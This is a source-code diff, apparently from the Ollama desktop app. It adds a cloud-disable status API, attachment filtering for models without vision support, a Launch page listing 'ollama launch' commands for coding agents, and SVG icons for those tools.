+    AutoUpdateEnabled: boolean;
 
     constructor(source: any = {}) {
         if ('string' === typeof source) source = JSON.parse(source);
@@ -424,13 +427,14 @@ export class Settings {
         this.Tools = source["Tools"];
         this.WorkingDir = source["WorkingDir"];
         this.ContextLength = source["ContextLength"];
-        this.AirplaneMode = source["AirplaneMode"];
         this.TurboEnabled = source["TurboEnabled"];
         this.WebSearchEnabled = source["WebSearchEnabled"];
         this.ThinkEnabled = source["ThinkEnabled"];
         this.ThinkLevel = source["ThinkLevel"];
         this.SelectedModel = source["SelectedModel"];
         this.SidebarOpen = source["SidebarOpen"];
+        this.LastHomeView = source["LastHomeView"];
+        this.AutoUpdateEnabled = source["AutoUpdateEnabled"];
     }
 }
 export class SettingsResponse {
@@ -548,14 +552,12 @@ export class Error {
     }
 }
 export class ModelUpstreamResponse {
-    digest?: string;
-    pushTime: number;
+    stale: boolean;
     error?: string;
 
     constructor(source: any = {}) {
         if ('string' === typeof source) source = JSON.parse(source);
-        this.digest = source["digest"];
-        this.pushTime = source["pushTime"];
+        this.stale = source["stale"];
         this.error = source["error"];
     }
 }

app/ui/app/public/launch-icons/claude-code.svg

@@ -0,0 +1 @@
+<svg height="1em" style="flex:none;line-height:1" viewBox="0 0 24 24" width="1em" xmlns="http://www.w3.org/2000/svg"><title>Claude Code</title><path clip-rule="evenodd" d="M20.998 10.949H24v3.102h-3v3.028h-1.487V20H18v-2.921h-1.487V20H15v-2.921H9V20H7.488v-2.921H6V20H4.487v-2.921H3V14.05H0V10.95h3V5h17.998v5.949zM6 10.949h1.488V8.102H6v2.847zm10.51 0H18V8.102h-1.49v2.847z" fill="#D97757" fill-rule="evenodd"></path></svg>

app/ui/app/public/launch-icons/claude.svg

@@ -0,0 +1,7 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Generated by Pixelmator Pro 3.6.17 -->
+<svg width="1200" height="1200" viewBox="0 0 1200 1200" xmlns="http://www.w3.org/2000/svg">
+    <g id="g314">
+        <path id="path147" fill="#d97757" stroke="none" d="M 233.959793 800.214905 L 468.644287 668.536987 L 472.590637 657.100647 L 468.644287 650.738403 L 457.208069 650.738403 L 417.986633 648.322144 L 283.892639 644.69812 L 167.597321 639.865845 L 54.926208 633.825623 L 26.577238 627.785339 L 3.3e-05 592.751709 L 2.73832 575.27533 L 26.577238 559.248352 L 60.724873 562.228149 L 136.187973 567.382629 L 249.422867 575.194763 L 331.570496 580.026978 L 453.261841 592.671082 L 472.590637 592.671082 L 475.328857 584.859009 L 468.724915 580.026978 L 463.570557 575.194763 L 346.389313 495.785217 L 219.543671 411.865906 L 153.100723 363.543762 L 117.181267 339.060425 L 99.060455 316.107361 L 91.248367 266.01355 L 123.865784 230.093994 L 167.677887 233.073853 L 178.872513 236.053772 L 223.248367 270.201477 L 318.040283 343.570496 L 441.825592 434.738342 L 459.946411 449.798706 L 467.194672 444.64447 L 468.080597 441.020203 L 459.946411 427.409485 L 392.617493 305.718323 L 320.778564 181.932983 L 288.80542 130.630859 L 280.348999 99.865845 C 277.369171 87.221436 275.194641 76.590698 275.194641 63.624268 L 312.322174 13.20813 L 332.8591 6.604126 L 382.389313 13.20813 L 403.248352 31.328979 L 434.013519 101.71814 L 483.865753 212.537048 L 561.181274 363.221497 L 583.812134 407.919434 L 595.892639 449.315491 L 600.40271 461.959839 L 608.214783 461.959839 L 608.214783 454.711609 L 614.577271 369.825623 L 626.335632 265.61084 L 637.771851 131.516846 L 641.718201 93.745117 L 660.402832 48.483276 L 697.530334 24.000122 L 726.52356 37.852417 L 750.362549 72 L 747.060486 94.067139 L 732.886047 186.201416 L 705.100708 330.52356 L 686.979919 427.167847 L 697.530334 427.167847 L 709.61084 415.087341 L 758.496704 350.174561 L 840.644348 247.490051 L 876.885925 206.738342 L 919.167847 161.71814 L 946.308838 140.29541 L 997.61084 140.29541 L 1035.38269 196.429626 L 1018.469849 254.416199 L 965.637634 321.422852 L 921.825562 378.201538 L 859.006714 462.765259 L 819.785278 530.41626 L 823.409424 535.812073 L 832.75177 534.92627 L 974.657776 504.724915 L 1051.328979 490.872559 L 1142.818848 475.167786 L 1184.214844 494.496582 L 1188.724854 514.147644 L 1172.456421 554.335693 L 1074.604126 578.496765 L 959.838989 601.449829 L 788.939636 641.879272 L 786.845764 643.409485 L 789.261841 646.389343 L 866.255127 653.637634 L 899.194702 655.409424 L 979.812134 655.409424 L 1129.932861 666.604187 L 1169.154419 692.537109 L 1192.671265 724.268677 L 1188.724854 748.429688 L 1128.322144 779.194641 L 1046.818848 759.865845 L 856.590759 714.604126 L 791.355774 698.335754 L 782.335693 698.335754 L 782.335693 703.731567 L 836.69812 756.885986 L 936.322205 846.845581 L 1061.073975 962.81897 L 1067.436279 991.490112 L 1051.409424 1014.120911 L 1034.496704 1011.704712 L 924.885986 929.234924 L 882.604126 892.107544 L 786.845764 811.48999 L 780.483276 811.48999 L 780.483276 819.946289 L 802.550415 852.241699 L 919.087341 1027.409424 L 925.127625 1081.127686 L 916.671204 1098.604126 L 886.469849 1109.154419 L 853.288696 1103.114136 L 785.073914 1007.355835 L 714.684631 899.516785 L 657.906067 802.872498 L 650.979858 806.81897 L 617.476624 1167.704834 L 601.771851 1186.147705 L 565.530212 1200 L 535.328857 1177.046997 L 519.302124 1139.919556 L 535.328857 1066.550537 L 554.657776 970.792053 L 570.362488 894.68457 L 584.536926 800.134277 L 592.993347 768.724976 L 592.429626 766.630859 L 585.503479 767.516968 L 514.22821 865.369263 L 405.825531 1011.865906 L 320.053711 1103.677979 L 299.516815 1111.812256 L 263.919525 1093.369263 L 267.221497 1060.429688 L 287.114136 1031.114136 L 405.825531 880.107361 L 477.422913 786.52356 L 523.651062 732.483276 L 523.328918 724.671265 L 520.590698 724.671265 L 205.288605 929.395935 L 149.154434 936.644409 L 124.993355 914.01355 L 127.973183 876.885986 L 139.409409 864.80542 L 234.201385 799.570435 L 233.879227 799.8927 Z"/>
+    </g>
+</svg>

app/ui/app/public/launch-icons/codex-dark.svg

@@ -0,0 +1 @@
+<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 320 320"><path fill="#fff" d="m297.06 130.97c7.26-21.79 4.76-45.66-6.85-65.48-17.46-30.4-52.56-46.04-86.84-38.68-15.25-17.18-37.16-26.95-60.13-26.81-35.04-.08-66.13 22.48-76.91 55.82-22.51 4.61-41.94 18.7-53.31 38.67-17.59 30.32-13.58 68.54 9.92 94.54-7.26 21.79-4.76 45.66 6.85 65.48 17.46 30.4 52.56 46.04 86.84 38.68 15.24 17.18 37.16 26.95 60.13 26.8 35.06.09 66.16-22.49 76.94-55.86 22.51-4.61 41.94-18.7 53.31-38.67 17.57-30.32 13.55-68.51-9.94-94.51zm-120.28 168.11c-14.03.02-27.62-4.89-38.39-13.88.49-.26 1.34-.73 1.89-1.07l63.72-36.8c3.26-1.85 5.26-5.32 5.24-9.07v-89.83l26.93 15.55c.29.14.48.42.52.74v74.39c-.04 33.08-26.83 59.9-59.91 59.97zm-128.84-55.03c-7.03-12.14-9.56-26.37-7.15-40.18.47.28 1.3.79 1.89 1.13l63.72 36.8c3.23 1.89 7.23 1.89 10.47 0l77.79-44.92v31.1c.02.32-.13.63-.38.83l-64.41 37.19c-28.69 16.52-65.33 6.7-81.92-21.95zm-16.77-139.09c7-12.16 18.05-21.46 31.21-26.29 0 .55-.03 1.52-.03 2.2v73.61c-.02 3.74 1.98 7.21 5.23 9.06l77.79 44.91-26.93 15.55c-.27.18-.61.21-.91.08l-64.42-37.22c-28.63-16.58-38.45-53.21-21.95-81.89zm221.26 51.49-77.79-44.92 26.93-15.54c.27-.18.61-.21.91-.08l64.42 37.19c28.68 16.57 38.51 53.26 21.94 81.94-7.01 12.14-18.05 21.44-31.2 26.28v-75.81c.03-3.74-1.96-7.2-5.2-9.06zm26.8-40.34c-.47-.29-1.3-.79-1.89-1.13l-63.72-36.8c-3.23-1.89-7.23-1.89-10.47 0l-77.79 44.92v-31.1c-.02-.32.13-.63.38-.83l64.41-37.16c28.69-16.55 65.37-6.7 81.91 22 6.99 12.12 9.52 26.31 7.15 40.1zm-168.51 55.43-26.94-15.55c-.29-.14-.48-.42-.52-.74v-74.39c.02-33.12 26.89-59.96 60.01-59.94 14.01 0 27.57 4.92 38.34 13.88-.49.26-1.33.73-1.89 1.07l-63.72 36.8c-3.26 1.85-5.26 5.31-5.24 9.06l-.04 89.79zm14.63-31.54 34.65-20.01 34.65 20v40.01l-34.65 20-34.65-20z"/></svg>

app/ui/app/public/launch-icons/codex.svg

@@ -0,0 +1 @@
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app/ui/app/public/launch-icons/copilot-dark.svg

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+		<path fill-rule="evenodd" class="s48" d="m283.5 385.5q3.22 2.95 7 5.5 2.8 4.03 6 7.5 0.42 2.77-2 4-15.5-9.75-31-19.5-1.79-0.98 0-1.5 9.96 2.49 20 4z"/>
+	</g>
+	<g>
+		<path fill-rule="evenodd" class="s49" d="m283.5 385.5q8.71-1.27 11.5 7 1.22 2.9 1.5 6-3.2-3.47-6-7.5-3.78-2.55-7-5.5z"/>
+	</g>
+	<g>
+		<path fill-rule="evenodd" class="s50" d="m83.5 394.5q1.88-0.06 3 1.5-2.25 0.88-3-1.5z"/>
+	</g>
+	<g>
+		<path fill-rule="evenodd" class="s51" d="m258.5 392.5q3.51 0.41 0 2.5-2.33 1.93-5 2 2.61-2.28 5-4.5z"/>
+	</g>
+	<g>
+		<path fill-rule="evenodd" class="s52" d="m111.5 392.5q0.09-0.81 1-1 1.48 4.9 1 10-1-4.5-2-9z"/>
+	</g>
+</svg>

app/ui/app/public/launch-icons/opencode.svg

@@ -0,0 +1,7 @@
+<svg xmlns="http://www.w3.org/2000/svg" version="1.1" xmlns:xlink="http://www.w3.org/1999/xlink" width="512" height="512"><svg width="512" height="512" viewBox="0 0 512 512" fill="none" xmlns="http://www.w3.org/2000/svg">
+<rect width="512" height="512" fill="#131010"></rect>
+<path d="M320 224V352H192V224H320Z" fill="#5A5858"></path>
+<path fill-rule="evenodd" clip-rule="evenodd" d="M384 416H128V96H384V416ZM320 160H192V352H320V160Z" fill="white"></path>
+</svg><style>@media (prefers-color-scheme: light) { :root { filter: none; } }
+@media (prefers-color-scheme: dark) { :root { filter: none; } }
+</style></svg>

app/ui/app/public/launch-icons/pi-dark.svg

@@ -0,0 +1,9 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 800 800">
+  <rect width="800" height="800" rx="160" fill="#fff"/>
+  <path fill="#000" fill-rule="evenodd" d="
+    M165.29 165.29 H517.36 V400 H400 V517.36 H282.65 V634.72 H165.29 Z
+    M282.65 282.65 V400 H400 V282.65 Z
+  "/>
+  <path fill="#000" d="M517.36 400 H634.72 V634.72 H517.36 Z"/>
+</svg>

app/ui/app/public/launch-icons/pi.svg

@@ -0,0 +1,9 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 800 800">
+  <rect width="800" height="800" rx="160" fill="#000"/>
+  <path fill="#fff" fill-rule="evenodd" d="
+    M165.29 165.29 H517.36 V400 H400 V517.36 H282.65 V634.72 H165.29 Z
+    M282.65 282.65 V400 H400 V282.65 Z
+  "/>
+  <path fill="#fff" d="M517.36 400 H634.72 V634.72 H517.36 Z"/>
+</svg>

app/ui/app/src/api.ts

@@ -4,7 +4,6 @@ import {
   ChatEvent,
   DownloadEvent,
   ErrorEvent,
-  InferenceCompute,
   InferenceComputeResponse,
   ModelCapabilitiesResponse,
   Model,
@@ -27,6 +26,12 @@ declare module "@/gotypes" {
 Model.prototype.isCloud = function (): boolean {
   return this.model.endsWith("cloud");
 };
+
+export type CloudStatusSource = "env" | "config" | "both" | "none";
+export interface CloudStatusResponse {
+  disabled: boolean;
+  source: CloudStatusSource;
+}
 // Helper function to convert Uint8Array to base64
 function uint8ArrayToBase64(uint8Array: Uint8Array): string {
   const chunkSize = 0x8000; // 32KB chunks to avoid stack overflow
@@ -156,7 +161,7 @@ export async function getModels(query?: string): Promise<Model[]> {
       // Add query if it's in the registry and not already in the list
       if (!exactMatch) {
         const result = await getModelUpstreamInfo(new Model({ model: query }));
-        const existsUpstream = !!result.digest && !result.error;
+        const existsUpstream = result.exists;
         if (existsUpstream) {
           filteredModels.push(new Model({ model: query }));
         }
@@ -285,6 +290,28 @@ export async function updateSettings(settings: Settings): Promise<{
   };
 }
 
+export async function updateCloudSetting(
+  enabled: boolean,
+): Promise<CloudStatusResponse> {
+  const response = await fetch(`${API_BASE}/api/v1/cloud`, {
+    method: "POST",
+    headers: {
+      "Content-Type": "application/json",
+    },
+    body: JSON.stringify({ enabled }),
+  });
+  if (!response.ok) {
+    const error = await response.text();
+    throw new Error(error || "Failed to update cloud setting");
+  }
+
+  const data = await response.json();
+  return {
+    disabled: Boolean(data.disabled),
+    source: (data.source as CloudStatusSource) || "none",
+  };
+}
+
 export async function renameChat(chatId: string, title: string): Promise<void> {
   const response = await fetch(`${API_BASE}/api/v1/chat/${chatId}/rename`, {
     method: "PUT",
@@ -312,7 +339,7 @@ export async function deleteChat(chatId: string): Promise<void> {
 // Get upstream information for model staleness checking
 export async function getModelUpstreamInfo(
   model: Model,
-): Promise<{ digest?: string; pushTime: number; error?: string }> {
+): Promise<{ stale: boolean; exists: boolean; error?: string }> {
   try {
     const response = await fetch(`${API_BASE}/api/v1/model/upstream`, {
       method: "POST",
@@ -326,22 +353,22 @@ export async function getModelUpstreamInfo(
 
     if (!response.ok) {
       console.warn(
-        `Failed to check upstream digest for ${model.model}: ${response.status}`,
+        `Failed to check upstream for ${model.model}: ${response.status}`,
       );
-      return { pushTime: 0 };
+      return { stale: false, exists: false };
     }
 
     const data = await response.json();
 
     if (data.error) {
-      console.warn(`Upstream digest check: ${data.error}`);
-      return { error: data.error, pushTime: 0 };
+      console.warn(`Upstream check: ${data.error}`);
+      return { stale: false, exists: false, error: data.error };
     }
 
-    return { digest: data.digest, pushTime: data.pushTime || 0 };
+    return { stale: !!data.stale, exists: true };
   } catch (error) {
     console.warn(`Error checking model staleness:`, error);
-    return { pushTime: 0 };
+    return { stale: false, exists: false };
   }
 }
 
@@ -379,7 +406,32 @@ export async function* pullModel(
   }
 }
 
-export async function getInferenceCompute(): Promise<InferenceCompute[]> {
+export interface ModelRecommendation {
+  model: string;
+  description: string;
+  context_length?: number;
+  max_output_tokens?: number;
+  vram_bytes?: number;
+}
+
+export interface ModelRecommendationsResponse {
+  recommendations: ModelRecommendation[];
+}
+
+export async function getModelRecommendations(): Promise<ModelRecommendation[]> {
+  const response = await fetch(
+    `${API_BASE}/api/experimental/model-recommendations`,
+  );
+  if (!response.ok) {
+    throw new Error(
+      `Failed to fetch model recommendations: ${response.statusText}`,
+    );
+  }
+  const data: ModelRecommendationsResponse = await response.json();
+  return data.recommendations || [];
+}
+
+export async function getInferenceCompute(): Promise<InferenceComputeResponse> {
   const response = await fetch(`${API_BASE}/api/v1/inference-compute`);
   if (!response.ok) {
     throw new Error(
@@ -388,8 +440,7 @@ export async function getInferenceCompute(): Promise<InferenceCompute[]> {
   }
 
   const data = await response.json();
-  const inferenceComputeResponse = new InferenceComputeResponse(data);
-  return inferenceComputeResponse.inferenceComputes || [];
+  return new InferenceComputeResponse(data);
 }
 
 export async function fetchHealth(): Promise<boolean> {
@@ -414,3 +465,16 @@ export async function fetchHealth(): Promise<boolean> {
     return false;
   }
 }
+
+export async function getCloudStatus(): Promise<CloudStatusResponse | null> {
+  const response = await fetch(`${API_BASE}/api/v1/cloud`);
+  if (!response.ok) {
+    throw new Error(`Failed to fetch cloud status: ${response.status}`);
+  }
+
+  const data = await response.json();
+  return {
+    disabled: Boolean(data.disabled),
+    source: (data.source as CloudStatusSource) || "none",
+  };
+}

app/ui/app/src/components/ChatForm.tsx

@@ -17,11 +17,15 @@ import {
 } from "@/hooks/useChats";
 import { useNavigate } from "@tanstack/react-router";
 import { useSelectedModel } from "@/hooks/useSelectedModel";
-import { useHasVisionCapability } from "@/hooks/useModelCapabilities";
+import {
+  useHasVisionCapability,
+  useHasToolsCapability,
+} from "@/hooks/useModelCapabilities";
 import { useUser } from "@/hooks/useUser";
 import { DisplayLogin } from "@/components/DisplayLogin";
 import { ErrorEvent, Message } from "@/gotypes";
 import { useSettings } from "@/hooks/useSettings";
+import { useCloudStatus } from "@/hooks/useCloudStatus";
 import { ThinkButton } from "./ThinkButton";
 import { ErrorMessage } from "./ErrorMessage";
 import { processFiles } from "@/utils/fileValidation";
@@ -141,19 +145,14 @@ function ChatForm({
   const {
     settings: {
       webSearchEnabled,
-      airplaneMode,
       thinkEnabled,
       thinkLevel: settingsThinkLevel,
     },
     setSettings,
   } = useSettings();
+  const { cloudDisabled } = useCloudStatus();
 
-  // current supported models for web search
-  const modelLower = selectedModel?.model.toLowerCase() || "";
-  const supportsWebSearch =
-    modelLower.startsWith("gpt-oss") ||
-    modelLower.startsWith("qwen3") ||
-    modelLower.startsWith("deepseek-v3");
+  const supportsWebSearch = useHasToolsCapability(selectedModel?.model);
   // Use per-chat thinking level instead of global
   const thinkLevel: ThinkingLevel =
     settingsThinkLevel === "none" || !settingsThinkLevel
@@ -180,6 +179,12 @@ function ChatForm({
     setSettings,
   ]);
 
+  useEffect(() => {
+    if (cloudDisabled && webSearchEnabled) {
+      setSettings({ WebSearchEnabled: false });
+    }
+  }, [cloudDisabled, webSearchEnabled, setSettings]);
+
   const removeFile = (index: number) => {
     setMessage((prev) => ({
       ...prev,
@@ -234,19 +239,19 @@ function ChatForm({
 
   // Determine if login banner should be shown
   const shouldShowLoginBanner =
+    !cloudDisabled &&
     !isLoadingUser &&
     !isAuthenticated &&
-    ((webSearchEnabled && supportsWebSearch) ||
-      (selectedModel?.isCloud() && !airplaneMode));
+    ((webSearchEnabled && supportsWebSearch) || selectedModel?.isCloud());
 
   // Determine which feature to highlight in the banner
   const getActiveFeatureForBanner = () => {
+    if (cloudDisabled) return null;
     if (!isAuthenticated) {
       if (loginPromptFeature) return loginPromptFeature;
-      if (webSearchEnabled && selectedModel?.isCloud() && !airplaneMode)
-        return "webSearch";
+      if (webSearchEnabled && selectedModel?.isCloud()) return "webSearch";
       if (webSearchEnabled) return "webSearch";
-      if (selectedModel?.isCloud() && !airplaneMode) return "turbo";
+      if (selectedModel?.isCloud()) return "turbo";
     }
     return null;
   };
@@ -269,11 +274,12 @@ function ChatForm({
   useEffect(() => {
     if (
       isAuthenticated ||
-      (!webSearchEnabled && !!selectedModel?.isCloud() && !airplaneMode)
+      cloudDisabled ||
+      (!webSearchEnabled && !!selectedModel?.isCloud())
     ) {
       setLoginPromptFeature(null);
     }
-  }, [isAuthenticated, webSearchEnabled, selectedModel, airplaneMode]);
+  }, [isAuthenticated, webSearchEnabled, selectedModel, cloudDisabled]);
 
   // When entering edit mode, populate the composition with existing data
   useEffect(() => {
@@ -465,20 +471,27 @@ function ChatForm({
   const handleSubmit = async () => {
     if (!message.content.trim() || isStreaming || isDownloading) return;
 
+    if (cloudDisabled && selectedModel?.isCloud()) {
+      return;
+    }
+
     // Check if cloud mode is enabled but user is not authenticated
     if (shouldShowLoginBanner) {
       return;
     }
 
-    // Prepare attachments for submission
-    const attachmentsToSend: FileAttachment[] = message.attachments.map(
-      (att) => ({
+    // Prepare attachments for submission, excluding unsupported images
+    const attachmentsToSend: FileAttachment[] = message.attachments
+      .filter(
+        (att) => hasVisionCapability || !isImageFile(att.filename),
+      )
+      .map((att) => ({
         filename: att.filename,
         data: att.data || new Uint8Array(0), // Empty data for existing files
-      }),
-    );
+      }));
 
-    const useWebSearch = supportsWebSearch && webSearchEnabled && !airplaneMode;
+    const useWebSearch =
+      supportsWebSearch && webSearchEnabled && !cloudDisabled;
     const useThink = modelSupportsThinkingLevels
       ? thinkLevel
       : supportsThinkToggling
@@ -725,10 +738,17 @@ function ChatForm({
         )}
         {(message.attachments.length > 0 || message.fileErrors.length > 0) && (
           <div className="flex gap-2 overflow-x-auto px-3 pt pb-3 w-full scrollbar-hide">
-            {message.attachments.map((attachment, index) => (
+            {message.attachments.map((attachment, index) => {
+              const isUnsupportedImage =
+                !hasVisionCapability && isImageFile(attachment.filename);
+              return (
               <div
                 key={attachment.id}
-                className="group flex items-center gap-2 py-2 px-3 rounded-lg bg-neutral-50 dark:bg-neutral-700/50 hover:bg-neutral-100 dark:hover:bg-neutral-700 transition-colors flex-shrink-0"
+                className={`group flex items-center gap-2 py-2 px-3 rounded-lg transition-colors flex-shrink-0 ${
+                  isUnsupportedImage
+                    ? "bg-red-50 dark:bg-red-900/20 border border-red-200 dark:border-red-800"
+                    : "bg-neutral-50 dark:bg-neutral-700/50 hover:bg-neutral-100 dark:hover:bg-neutral-700"
+                }`}
               >
                 {isImageFile(attachment.filename) ? (
                   <ImageThumbnail
@@ -753,9 +773,16 @@ function ChatForm({
                     />
                   </svg>
                 )}
-                <span className="text-sm text-neutral-700 dark:text-neutral-300 max-w-[150px] truncate">
-                  {attachment.filename}
-                </span>
+                <div className="flex flex-col min-w-0">
+                  <span className={`text-sm max-w-36 truncate ${isUnsupportedImage ? "text-red-700 dark:text-red-300" : "text-neutral-700 dark:text-neutral-300"}`}>
+                    {attachment.filename}
+                  </span>
+                  {isUnsupportedImage && (
+                    <span className="text-xs text-red-600 dark:text-red-400 opacity-75">
+                      This model does not support images
+                    </span>
+                  )}
+                </div>
                 <button
                   type="button"
                   onClick={() => removeFile(index)}
@@ -777,7 +804,8 @@ function ChatForm({
                   </svg>
                 </button>
               </div>
-            ))}
+              );
+            })}
             {message.fileErrors.map((fileError, index) => (
               <div
                 key={`error-${index}`}
@@ -899,7 +927,7 @@ function ChatForm({
                 )}
                 <WebSearchButton
                   ref={webSearchButtonRef}
-                  isVisible={supportsWebSearch && airplaneMode === false}
+                  isVisible={supportsWebSearch && cloudDisabled === false}
                   isActive={webSearchEnabled}
                   onToggle={() => {
                     if (!webSearchEnabled && !isAuthenticated) {
@@ -940,6 +968,7 @@ function ChatForm({
                 !isDownloading &&
                 (!message.content.trim() ||
                   shouldShowLoginBanner ||
+                  (cloudDisabled && selectedModel?.isCloud()) ||
                   message.fileErrors.length > 0)
               }
               className={`flex items-center justify-center h-9 w-9 rounded-full disabled:cursor-default cursor-pointer bg-black text-white dark:bg-white dark:text-black disabled:opacity-10 focus:outline-none focus:ring-2 focus:ring-blue-500`}

app/ui/app/src/components/ChatSidebar.tsx

@@ -6,12 +6,13 @@ import { getChat } from "@/api";
 import { Link } from "@/components/ui/link";
 import { useState, useRef, useEffect, useCallback, useMemo } from "react";
 import { ChatsResponse } from "@/gotypes";
-import { CogIcon } from "@heroicons/react/24/outline";
+import { CogIcon, RocketLaunchIcon } from "@heroicons/react/24/outline";
 
 // there's a hidden debug feature to copy a chat's data to the clipboard by
 // holding shift and clicking this many times within this many seconds
 const DEBUG_SHIFT_CLICKS_REQUIRED = 5;
 const DEBUG_SHIFT_CLICK_WINDOW_MS = 7000; // 7 seconds
+const launchSidebarRequestedKey = "ollama.launchSidebarRequested";
 
 interface ChatSidebarProps {
   currentChatId?: string;
@@ -267,9 +268,8 @@ export function ChatSidebar({ currentChatId }: ChatSidebarProps) {
         <Link
           href="/c/new"
           mask={{ to: "/" }}
-          className={`flex w-full items-center gap-3 rounded-lg px-2 py-2 text-left text-sm text-neutral-700 hover:bg-neutral-100 dark:hover:bg-neutral-800 dark:text-neutral-100 ${
-            currentChatId === "new" ? "bg-neutral-100 dark:bg-neutral-800" : ""
-          }`}
+          className={`flex w-full items-center gap-3 rounded-lg px-2 py-2 text-left text-sm text-neutral-700 hover:bg-neutral-100 dark:hover:bg-neutral-800 dark:text-neutral-100 ${currentChatId === "new" ? "bg-neutral-100 dark:bg-neutral-800" : ""
+            }`}
           draggable={false}
         >
           <svg
@@ -283,6 +283,23 @@ export function ChatSidebar({ currentChatId }: ChatSidebarProps) {
           </svg>
           <span className="truncate">New Chat</span>
         </Link>
+        <Link
+          to="/c/$chatId"
+          params={{ chatId: "launch" }}
+          onClick={() => {
+            if (currentChatId !== "launch") {
+              sessionStorage.setItem(launchSidebarRequestedKey, "1");
+            }
+          }}
+          className={`flex w-full items-center gap-3 rounded-lg px-2 py-2 text-left text-sm text-neutral-700 hover:bg-neutral-100 dark:hover:bg-neutral-800 dark:text-neutral-100 cursor-pointer ${currentChatId === "launch"
+            ? "bg-neutral-100 dark:bg-neutral-800"
+            : ""
+            }`}
+          draggable={false}
+        >
+          <RocketLaunchIcon className="h-5 w-5 stroke-current" />
+          <span className="truncate">Launch</span>
+        </Link>
         {isWindows && (
           <Link
             href="/settings"
@@ -304,19 +321,18 @@ export function ChatSidebar({ currentChatId }: ChatSidebarProps) {
               {group.chats.map((chat) => (
                 <div
                   key={chat.id}
-                  className={`allow-context-menu flex items-center relative text-sm text-neutral-800 dark:text-neutral-400 rounded-lg hover:bg-neutral-100 dark:hover:bg-neutral-800 ${
-                    chat.id === currentChatId
-                      ? "bg-neutral-100 text-black dark:bg-neutral-800"
-                      : ""
-                  }`}
+                  className={`allow-context-menu flex items-center relative text-sm text-neutral-800 dark:text-neutral-400 rounded-lg hover:bg-neutral-100 dark:hover:bg-neutral-800 ${chat.id === currentChatId
+                    ? "bg-neutral-100 text-black dark:bg-neutral-800"
+                    : ""
+                    }`}
                   onMouseEnter={() => handleMouseEnter(chat.id)}
                   onContextMenu={(e) =>
                     handleContextMenu(
                       e,
                       chat.id,
                       chat.title ||
-                        chat.userExcerpt ||
-                        chat.createdAt.toLocaleString(),
+                      chat.userExcerpt ||
+                      chat.createdAt.toLocaleString(),
                     )
                   }
                 >

app/ui/app/src/components/CopyButton.tsx

@@ -10,6 +10,7 @@ interface CopyButtonProps {
   showLabels?: boolean;
   className?: string;
   title?: string;
+  onCopy?: () => void;
 }
 
 const CopyButton: React.FC<CopyButtonProps> = ({
@@ -20,6 +21,7 @@ const CopyButton: React.FC<CopyButtonProps> = ({
   showLabels = false,
   className = "",
   title = "",
+  onCopy,
 }) => {
   const [isCopied, setIsCopied] = useState(false);
 
@@ -48,12 +50,14 @@ const CopyButton: React.FC<CopyButtonProps> = ({
       }
 
       setIsCopied(true);
+      onCopy?.();
       setTimeout(() => setIsCopied(false), 2000);
     } catch (error) {
       console.error("Clipboard API failed, falling back to plain text", error);
       try {
         await navigator.clipboard.writeText(content);
         setIsCopied(true);
+        onCopy?.();
         setTimeout(() => setIsCopied(false), 2000);
       } catch (fallbackError) {
         console.error("Fallback copy also failed:", fallbackError);

app/ui/app/src/components/LaunchCommands.tsx

@@ -0,0 +1,158 @@
+import { useSettings } from "@/hooks/useSettings";
+import CopyButton from "@/components/CopyButton";
+
+interface LaunchCommand {
+  id: string;
+  name: string;
+  command: string;
+  description: string;
+  icon: string;
+  darkIcon?: string;
+  iconClassName?: string;
+  borderless?: boolean;
+}
+
+const LAUNCH_COMMANDS: LaunchCommand[] = [
+  {
+    id: "claude",
+    name: "Claude Code",
+    command: "ollama launch claude",
+    description: "Anthropic's coding tool with subagents",
+    icon: "/launch-icons/claude-code.svg",
+    iconClassName: "h-7 w-7",
+  },
+  {
+    id: "chatgpt",
+    name: "ChatGPT",
+    command: "ollama launch chatgpt",
+    description: "Complete work with ChatGPT",
+    icon: "/launch-icons/codex-app.png",
+    iconClassName: "h-full w-full",
+  },
+  {
+    id: "hermes",
+    name: "Hermes Agent",
+    command: "ollama launch hermes",
+    description: "Self-improving AI agent built by Nous Research",
+    icon: "/launch-icons/hermes-agent.svg",
+    iconClassName: "h-7 w-7",
+  },
+  {
+    id: "openclaw",
+    name: "OpenClaw",
+    command: "ollama launch openclaw",
+    description: "Personal AI with 100+ skills",
+    icon: "/launch-icons/openclaw.svg",
+  },
+  {
+    id: "opencode",
+    name: "OpenCode",
+    command: "ollama launch opencode",
+    description: "Anomaly's open-source coding agent",
+    icon: "/launch-icons/opencode.svg",
+    iconClassName: "h-7 w-7 rounded",
+  },
+  {
+    id: "codex",
+    name: "Codex",
+    command: "ollama launch codex",
+    description: "OpenAI's open-source coding agent",
+    icon: "/launch-icons/codex.svg",
+    darkIcon: "/launch-icons/codex-dark.svg",
+    iconClassName: "h-7 w-7",
+  },
+  {
+    id: "copilot",
+    name: "Copilot CLI",
+    command: "ollama launch copilot",
+    description: "GitHub's AI coding agent for the terminal",
+    icon: "/launch-icons/copilot.svg",
+    darkIcon: "/launch-icons/copilot-dark.svg",
+    iconClassName: "h-7 w-7",
+  },
+  {
+    id: "droid",
+    name: "Droid",
+    command: "ollama launch droid",
+    description: "Factory's coding agent across terminal and IDEs",
+    icon: "/launch-icons/droid.svg",
+  },
+  {
+    id: "pi",
+    name: "Pi",
+    command: "ollama launch pi",
+    description: "Minimal AI agent toolkit with plugin support",
+    icon: "/launch-icons/pi.svg",
+    darkIcon: "/launch-icons/pi-dark.svg",
+    iconClassName: "h-7 w-7",
+  },
+];
+
+export default function LaunchCommands() {
+  const isWindows = navigator.platform.toLowerCase().includes("win");
+  const { setSettings } = useSettings();
+
+  const renderCommandCard = (item: LaunchCommand) => (
+    <div key={item.command} className="w-full text-left">
+      <div className="flex items-start gap-4 sm:gap-5">
+        <div
+          aria-hidden="true"
+          className={`flex h-10 w-10 shrink-0 items-center justify-center rounded-lg overflow-hidden ${item.borderless ? "" : "border border-neutral-200 bg-white dark:border-neutral-700 dark:bg-neutral-900"}`}
+        >
+          {item.darkIcon ? (
+            <picture>
+              <source srcSet={item.darkIcon} media="(prefers-color-scheme: dark)" />
+              <img src={item.icon} alt="" className={`${item.iconClassName ?? "h-8 w-8"} rounded-sm`} />
+            </picture>
+          ) : (
+            <img src={item.icon} alt="" className={item.borderless ? "h-full w-full rounded-xl" : `${item.iconClassName ?? "h-8 w-8"} rounded-sm`} />
+          )}
+        </div>
